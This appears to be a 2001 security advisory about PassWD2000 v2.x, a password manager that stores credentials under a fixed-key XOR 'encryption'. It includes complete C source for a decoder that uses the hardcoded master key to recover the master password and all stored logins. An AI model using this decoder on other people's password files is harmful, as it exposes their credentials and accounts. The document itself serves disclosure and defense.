COMMAND

    PassWD2000

SYSTEMS AFFECTED

    PassWD2000 v2.x

PROBLEM

    Daniel Roethlisberger found following.   PassWD2000 is a  password
    managment utility  designed to  store login  credentials to remote
    sites, local  passwords or  registration details,  or even  credit
    card information.   Unfortunately, the  vendors' understanding  of
    encryption is a bit different  from mine.  PassWD2000 is  using an
    "encryption"  algorithm  that  is  trivial  to  break, effectively
    giving an attacker access  to all login information  stored within
    PassWD2000 once he gains access to the password file.   PassWD2000
    has   received   the   ZDNet   Editors'   Pick   award  and  other
    share/freeware recommendations, and thus must be considered to  be
    in widespread use.

    PassWD2000  stores  all  login  credentials  along with the access
    password and a bunch  of other things in  .PEF files.  PEF  stands
    for PassWD Encrypted Format.

    Basically it uses a  simple exclusive or with  a 128 bit key.   It
    randomly generates a 128 bit session key, which is used to encrypt
    the header and data of the  PEF file.  It stores this  session key
    xored  to  a  fixed  master  key  in front of the encrypted header
    within the PEF file.

    So what  you do  is xor  the fixed  master key  with the first 128
    bits of the file to reveal the session key.  Then use the  session
    key to decrypt the header and  data of the file.  Only  pitfall to
    avoid  is  that  header  and  data are encrypted seperately (reset
    key offset).

    /*
     *  Decoder for PassWD2000 v2.x password files in PEF format
     *
     *  Written 2001 by Daniel Roethlisberger <daniel@roe.ch>
     *
     *  This code is hereby placed in the public domain.
     *  Use this code at your own risk for whatever you want.
     *
     *  This code has grown with my knowledge about the data
     *  format, thus it is quite a bit messy and ugly indeed.
     */
    
    #include <stdio.h>
    #include <sys/stat.h>
    
    const unsigned char key[16] = {
	    0x0A, 0x0C, 0x4D, 0x1E, 0x01, 0x4F, 0x03, 0x06,
	    0x5F, 0x64, 0x96, 0xC8, 0xFA, 0x11, 0x0D, 0x47};
    
    #define leave(x) {\
	    fprintf(stderr, "%s: " x "\n", basename(argv[0]));\
	    exit(1);\
    }
    #define leaveheader() {\
	    free(buf);\
	    leave("header inconsistency");\
    }
    
    int main(int argc, char *argv[])
    {
	    FILE* infile;
	    unsigned char *buf;
	    struct stat st;
	    int buflen;
	    int offset, i, count;
	    int hdrlen, pwlen, reclen, recnum;
    
	    if(argc != 2)
		    leave("only argument must be file to decode");
    
	    infile = fopen(argv[1], "r");
	    if(!infile)
		    leave("cannot open file");
    
	    stat(argv[1], &st);
	    buflen = st.st_size;
	    buf = (unsigned char*) malloc(buflen);
	    if(!buf)
		    leave("out of memory");
	    fread(buf, 1, buflen, infile);
	    fclose(infile);
	    printf("[%s]\n", argv[1]);
    
	    if(buflen < 0x1D) /* minimal empty header */
		    leaveheader();
    
	    offset = 0;
    
	    /* decode 128bit session key */
	    printf("Session key: ");
	    for(i = 0; i < 0x10; i++)
	    {
		    buf[i] ^= key[i];
		    printf("%.2X ", buf[i]);
	    }
	    printf("\n");
	    offset += i;
    
	    /* decode header ... */
    
	    /* always seems to be '0' */
	    buf[offset] ^= buf[(offset++)%0x10];
	    printf("Unknown pre-header byte: %c (should be 0)\n", buf[offset-1]);
    
	    /* header length ... */
	    buf[offset] ^= buf[(offset++)%0x10];
	    buf[offset] ^= buf[(offset++)%0x10];
	    hdrlen = (buf[offset-2] - '0') * 10 + buf[offset-1] - '0';
	    printf("Header length: %i\n", hdrlen);
    
	    /* always seems to be '2U00' */
	    printf("Unknown header bytes: ");
	    for(i = 0; i < 4; i++)
	    {
		    buf[offset+i] ^= buf[(offset+i)%0x10];
		    printf("%c" , buf[offset+i]);
	    }
	    printf(" (should be 2U00)\n");
	    offset += i;
    
	    /* password status ... */
	    buf[offset] ^= buf[(offset++)%0x10];
	    printf("Password protection: %s\n", (buf[offset-1] == '1') ? "enabled" : "disabled");
    
	    /* password ... */
	    for(i = 0; i < 2; i++)
		    buf[offset+i] ^= buf[(offset+i)%0x10];
	    offset += i;
	    pwlen = (buf[offset-2] - '0') * 10 + (buf[offset-1] - '0');
	    if(pwlen > 30)
		    leaveheader();
	    printf("Master password: ");
	    for(i = 0; i < pwlen; i++)
	    {
		    buf[offset+i] ^= buf[(offset+i)%0x10];
		    printf("%c", buf[offset+i]);
	    }
	    printf(" (%i)\n", pwlen);
	    offset += i;
    
	    /* number of records ... */
	    buf[offset] ^= buf[(offset++)%0x10];
	    reclen = buf[offset-1] - '0';
	    for(i = 0; i < reclen; i++)
		    buf[offset+i] ^= buf[(offset+i)%0x10];
	    offset += i;
	    recnum = 0;
	    for(i = reclen; i > 0; --i)
		    recnum = (10 * recnum) + buf[offset-i] - '0';
	    printf("Number of records: %i\n", recnum);
    
	    /* header checksum ... */
	    buf[offset] ^= buf[(offset++)%0x10];
	    printf("Header checksum: 0x%.2X\n", buf[offset-1]);
    
	    /* and records. */
	    for(i = 0; i < (buflen - offset); i++)
		    buf[offset+i] ^= buf[i%0x10];
    
	    if(0x14 + hdrlen != offset)
		    printf("Warning: hdrlen mismatch (%i != %i)!\n", hdrlen+0x14, offset);
    
	    if(recnum > 0)
	    {
		    count = 0;
		    printf("Records: [desc - user:pass@URL (date)]\n");
		    for(i = 0x14 + hdrlen; i < buflen; i++)
		    {
			    if(buf[i] == '\r')
				    switch((count++)%10)
				    {
					    case 0: printf(" - "); break;
					    case 1: printf(":"); break;
					    case 2: printf("@"); break;
					    case 3: printf(" ("); break;
					    case 4: printf(")"); break;
					    case 9:	printf("\n"); break;
				    }
			    else
				    printf("%c", buf[i]);
		    }
	    }
    
	    free(buf);
	    return 0;
    }

SOLUTION

    Vendor  is  informed,  and  has  decided  to do nothing about this
    issue.   According  to  vendor,  PassWD2000  never  claimed so use
    strong encryption, only "quite strong encryption".  So there  will
    be no fix in versions  2.x.  Subsequently, the vendor  decided not
    to inform about  the issue, neither  users nor distribution  sites
    of PassWD2000 are going to be informed by the vendor.

    Don't use  PassWD2000 2.x,  and make  sure none  of your  users or
    admins do either.  Period.  According to the vendor, the  upcoming
    3.x release of PassWD2000 will use Blowfish to protect the data.